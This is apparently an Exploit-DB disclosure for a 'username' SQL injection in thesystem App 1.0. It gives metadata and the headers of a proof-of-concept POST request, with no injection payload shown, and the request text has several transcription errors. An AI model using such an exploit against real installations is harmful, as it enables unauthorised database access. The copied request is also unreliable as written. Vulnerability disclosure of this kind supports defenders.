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EDB-ID:

47432

Author:

ANIL BARAN YELKEN

EDB Verified: X

Exploit:

VAR

CVE:

N/A

Type:

WEBAPPS
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# Exploit Title: thesystem App 1.0 - 'username' SQL Injection
# Author: Anil Baran Yelken

# Discovery Date: 2019-09-26

# Vendor Homepage: https://github.com/kostasmitroglou/thesystem
# Software Link: https://github.com/kostasmitroglou/thesystem
# Tested Version: 1.0

# Tested on 0S: Windows 10

# CVE: N/A

# Description:

#

Simple SQL injection after login bypass(login required didn't used)

POST /check users/ HTTP/1.1

Host: 127.0.0.1:8000

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0)
Gecko/20100101 Firefox/69.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;g=0.8,en-US;q9=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=--------------------~------
-54363239114604

Content-Length: 327

Connection: close

Referer: http://127.0.0.1:8000/check users/
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